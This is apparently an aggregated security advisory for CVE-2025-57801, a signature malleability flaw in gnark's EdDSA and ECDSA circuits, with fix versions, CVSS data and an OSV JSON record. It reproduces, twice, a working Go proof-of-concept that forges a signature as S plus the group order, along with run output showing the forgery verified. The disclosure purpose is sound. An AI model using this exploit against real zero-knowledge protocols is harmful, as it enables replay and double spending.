CVE-2025-57801: Github.com/consensys/gnark Gnark Is Vulnerable To Signature Vulnerability

HIGH
Advisory Identifier: GHSA-95v9-hv42-pwrj
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CVSS 9.1
CWE-347
Published
Advisory Summary

CVE-2025-57801 is a HIGH (CVSS 9.1) gnark is vulnerable to signature vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting Github.com/consensys/gnark libraries in the Go ecosystem. The issue involves gnark is vulnerable to signature malleability in eddsa and ecdsa due to missing scalar checks. Remediation is available by upgrading affected packages to version 0.14.0.

CVE-2025-57801 at a Glance

CVE Identifier CVE-2025-57801
GHSA Identifier GHSA-95v9-hv42-pwrj
Severity HIGH
CVSS v3.1 Base Score 9.1
CWE Classification CWE-347: Improper Verification of Cryptographic Signature
Affected Product Github.com/consensys/gnark
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-57801

To remediate this vulnerability, upgrade all affected Github.com/consensys/gnark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/consensys/gnark fixed: 0.14.0 
Upgrade github.com/consensys/gnark to 0.14.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for github.com/consensys/gnark

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-57801, inspect your project dependencies for Github.com/consensys/gnark:

inspect dependencies for github.com/consensys/gnark

Analyze the terminal output to locate any version of Github.com/consensys/gnark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.14.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In Github.com/consensys/gnark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. ### Impact Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending. ### Exploitation ```go package main import ( "crypto/rand" "fmt" "math/big" "github.com/consensys/gnark-crypto/ecc" mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc" eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa" "github.com/consensys/gnark/backend/groth16" "github.com/consensys/gnark/frontend" "github.com/consensys/gnark/frontend/cs/r1cs" "github.com/consensys/gnark/std/algebra/native/twistededwards" stdMimc "github.com/consensys/gnark/std/hash/mimc" stdEddsa "github.com/consensys/gnark/std/signature/eddsa" te "github.com/consensys/gnark-crypto/ecc/twistededwards" ) // Circuit type eddsaCircuit struct { Msg frontend.Variable `gnark:",public"` Pk stdEddsa.PublicKey `gnark:",public"` Sig stdEddsa.Signature } func (c *eddsaCircuit) Define(api frontend.API) error { curve, _ := twistededwards.NewEdCurve(api, te.BN254) hasher, _ := stdMimc.NewMiMC(api) stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher) return nil } func groupOrder() *big.Int { // BN254 scalar field order (r) const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617" n, _ := new(big.Int).SetString(rStr, 10) return n } // Forge signature: S → S + order func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature { order := groupOrder() var forged eddsaCrypto.Signature forged.R = sig.R s := new(big.Int).SetBytes(sig.S[:]) s.Add(s, order) buf := make([]byte, 32) copy(buf[32-len(s.Bytes()):], s.Bytes()) copy(forged.S[:], buf) return forged } func main() { // Generate key pair priv, _ := eddsaCrypto.GenerateKey(rand.Reader) pub := priv.PublicKey msg := []byte("multi-witness") // Create honest signature h := mimcHash.NewMiMC() h.Write(msg) rawSig, _ := priv.Sign(msg, h) var honest eddsaCrypto.Signature honest.SetBytes(rawSig) forged := forge(honest) // S + order // Setup: Compile circuit and do trusted setup circuit := &eddsaCircuit{} ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit) if err != nil { fmt.Printf("Circuit compilation failed: %v\n", err) return } pk, vk, err := groth16.Setup(ccs) if err != nil { fmt.Printf("Trusted setup failed: %v\n", err) return } // Public inputs (same for both witnesses) var public eddsaCircuit public.Msg = new(big.Int).SetBytes(msg) public.Pk.Assign(te.BN254, pub.Bytes()) // witness 1: honest signature w1 := public w1.Sig.Assign(te.BN254, honest.Bytes()) witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness1: %v\n", err) return } proof1, err := groth16.Prove(ccs, pk, witness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { publicWitness1, err := witness1.Public() if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { err = groth16.Verify(proof1, vk, publicWitness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { fmt.Println("Witness 1 (honest): Prover succeeded!") } } } // witness 2: forged signature w2 := public w2.Sig.Assign(te.BN254, forged.Bytes()) fmt.Println(honest.R.Equal(&forged.R)) fmt.Println(honest.S != forged.S) witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness2: %v\n", err) return } proof2, err := groth16.Prove(ccs, pk, witness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { publicWitness2, err := witness2.Public() if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { err = groth16.Verify(proof2, vk, publicWitness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { fmt.Println("Witness 2 (forged): Prover succeeded!") } } } } ``` ### Result ```bash go run multiple_witnesses.go 13:47:33 INF compiling circuit 13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3 13:47:33 INF building constraint builder nbConstraints=7003 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583 Witness 1 (honest): Prover succeeded! true true 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833 Witness 2 (forged): Prover succeeded! ``` ### Credits XlabAI Team of Tencent Xuanwu Lab Atuin Automated Vulnerability Discovery Engine SJTU Group of Software Security In Progress Prof. Yu Yu's Lab at SJTU ### Additional mitigation The initial patch added check for `s <= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.

CVE-2025-57801 Affected Github.com/consensys/gnark Versions

1 component(s)
Fixed Versions:
0.14.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/consensys/gnark
golang/github.com/consensys/gnark
Go
< 0.14.0
0.14.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/Consensys/gnark/security/advisories/GHSA-95v9-hv42-pwrj
NVD — CVE-2025-57801 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-57801
Security Fix Commit FIX COMMIT
https://github.com/Consensys/gnark/commit/0ba6730f05537a351517998add89a61a0d82716e
Github.com/consensys/gnark Source Repository REPOSITORY
https://github.com/Consensys/gnark
pkg.go.dev/vuln/go-2025-3912 WEB
https://pkg.go.dev/vuln/GO-2025-3912

Frequently Asked Questions

What is CVE-2025-57801?
CVE-2025-57801 is a security vulnerability in Github.com/consensys/gnark involving gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks under CWE-347: Improper Verification of Cryptographic Signature.
Which Github.com/consensys/gnark versions are affected?
Affected versions include releases prior to 0.14.0 across affected packages: github.com/consensys/gnark.
What version fixes CVE-2025-57801?
Upgrading to 0.14.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/consensys/gnark affected?
Yes, github.com/consensys/gnark is affected in releases prior to 0.14.0. Upgrade your dependency to 0.14.0 or later.
What is the CVSS score of CVE-2025-57801?
CVE-2025-57801 has a CVSS v3.1 base score of 9.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2025-57801?
CVE-2025-57801 is classified under CWE-347: Improper Verification of Cryptographic Signature (The product does not verify, or incorrectly verifies, the cryptographic signature for data.).
How can I check Go dependencies for CVE-2025-57801?
Run the dependency tree command: 'inspect dependencies for github.com/consensys/gnark'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-95v9-hv42-pwrj",
  "modified" : "2026-01-22T16:04:13Z",
  "published" : "2025-08-22T20:58:21Z",
  "aliases" : [ "CVE-2025-57801" ],
  "summary" : "gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks",
  "details" : "In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable  `gnark:\",public\"`\n\tPk  stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S → S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := &eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(&forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nAtuin Automated Vulnerability Discovery Engine \n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu's Lab at SJTU\n\n### Additional mitigation\n\nThe initial patch added check for `s <= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/consensys/gnark"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.14.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Consensys/gnark/security/advisories/GHSA-95v9-hv42-pwrj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-57801"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Consensys/gnark/commit/0ba6730f05537a351517998add89a61a0d82716e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Consensys/gnark"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3912"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-22T20:58:21Z",
    "nvd_published_at" : "2025-08-22T20:15:33Z"
  }
}